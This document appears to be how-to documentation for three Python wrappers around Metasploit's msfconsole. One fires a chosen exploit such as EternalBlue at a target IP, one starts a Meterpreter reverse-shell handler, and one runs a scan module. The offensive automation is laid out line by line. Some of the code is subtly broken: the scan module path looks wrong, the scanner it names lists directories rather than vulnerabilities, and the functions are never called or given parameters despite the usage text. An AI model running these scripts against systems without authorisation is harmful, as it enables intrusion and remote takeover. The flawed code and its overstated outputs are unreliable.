Metasploit Script Documentation

Purpose of the Scripts

Metasploit is a powerful penetration testing framework widely used for discovering, exploiting, and validating vulnerabilities. The provided scripts automate tasks such as launching Metasploit with predefined exploits, setting up a Meterpreter reverse shell, and scanning for vulnerabilities. These scripts streamline the penetration testing workflow, ensuring consistency and efficiency in executing attacks and analyzing results.

The first script, Launch Metasploit with Predefined Exploit, initializes Metasploit and executes a specific exploit against a target. The second script, Automated Meterpreter Reverse Shell, sets up a listener for a Meterpreter session to establish a reverse shell connection. The third script, Scan for Vulnerabilities, utilizes Metasploit's auxiliary modules to scan a target for known vulnerabilities.

Usage Instructions

General Setup

1. Ensure Metasploit is installed on your system. You can download it from the official Metasploit website.
2. Install Python if not already installed.
3. Save each script as a .py file and run them from the command line or any Python IDE.

Script 1: Launch Metasploit with Predefined Exploit

Command:

python launch_exploit.py

Required Parameters:

- ✓ exploit: The Metasploit exploit to use (e.g., exploit/windows/smb/ms17_010_eternalblue).
- ✓ target_ip: The IP address of the target machine.

Script 2: Automated Meterpreter Reverse Shell

Command:

python meterpreter_reverse_shell.py

Required Parameters:

- ✓ lhost: The local host IP address to listen on (e.g., 192.168.1.100).
- ✓ lport: The local port to listen on (e.g., 4444).

Script 3: Scan for Vulnerabilities

Command:

python vulnerability_scan.py

Required Parameters:

- ✓ target_ip: The IP address of the target machine.

Expected Outputs or Results

Launch Metasploit with Predefined Exploit

- ✓ Initializes Metasploit, executes the specified exploit, and displays the result of the exploitation attempt.
- ✓ Outputs details such as whether the exploit was successful and any payloads executed.

Automated Meterpreter Reverse Shell

- ✓ Sets up a Meterpreter listener and waits for a reverse shell connection from the target machine.
- ✓ Outputs a session connection message upon a successful reverse shell.

Scan for Vulnerabilities

- ✓ Runs a vulnerability scan on the target IP using Metasploit's auxiliary modules.
- ✓ Outputs a list of discovered vulnerabilities, including severity and exploitability information.

Dependencies Needed

- ✓ Metasploit Framework: Required for executing exploits and scans.
- ✓ Python: Required to run the scripts.
- ✓ Subprocess Module: Used to interact with Metasploit from the command line.

Line-by-Line Explanation

Launch Metasploit with Predefined Exploit

```
import subprocess
```

- subprocess: Used to run Metasploit commands from Python.

```
def launch_metasploit_with_exploit(exploit, target_ip):
```

- Defines a function to initialize and run a specific Metasploit exploit.

```
commands = [
    f"use {exploit}",
    f"set RHOST {target_ip}",
    "run"
]
subprocess.run(["msfconsole", "-q", "-x", ";".join(commands)])
```

- Constructs Metasploit commands to load the exploit, set the target IP, and execute the exploit.
- Runs the commands in Metasploit's console using the subprocess module.

Automated Meterpreter Reverse Shell

```
import subprocess
```

- subprocess: Used to run Metasploit commands from Python.

```
def meterpreter_reverse_shell(lhost, lport):
```

- Defines a function to set up a Meterpreter reverse shell listener.

```
commands = [
    "use exploit/multi/handler",
    "set PAYLOAD windows/meterpreter/reverse_tcp",
    f"set LHOST {lhost}",
    f"set LPORT {lport}",
    "run"
]
subprocess.run(["msfconsole", "-q", "-x", ";".join(commands)])
```

- Constructs Metasploit commands to configure the listener with the specified local host and port.
- Starts the listener in Metasploit's console.

Scan for Vulnerabilities

```
import subprocess
```

- subprocess: Used to run Metasploit commands from Python.

```
def scan_vulnerabilities(target_ip):
```

- Defines a function to perform a vulnerability scan on a target machine.

```
commands = [
    "use auxiliary/scanner/vulnerabilities/dir_scanner",
    f"set RHOSTS {target_ip}",
    "run"
]
subprocess.run(["msfconsole", "-q", "-x", ";".join(commands)])
```

- Constructs Metasploit commands to load the vulnerability scanner, set the target IP, and execute the scan.

Why These Scripts Are Needed ?

Metasploit is a critical tool for penetration testing, and these scripts simplify its usage by automating repetitive tasks. The Launch Metasploit with Predefined Exploit script allows testers to quickly run specific exploits without manual configuration, saving time during engagements. The Automated Meterpreter Reverse Shell script sets up a listener for gaining remote control of a target machine, a common scenario in post-exploitation activities. The Scan for Vulnerabilities script provides a quick way to assess a target's security posture, identifying exploitable vulnerabilities for further testing. These scripts enhance the efficiency and consistency of security assessments.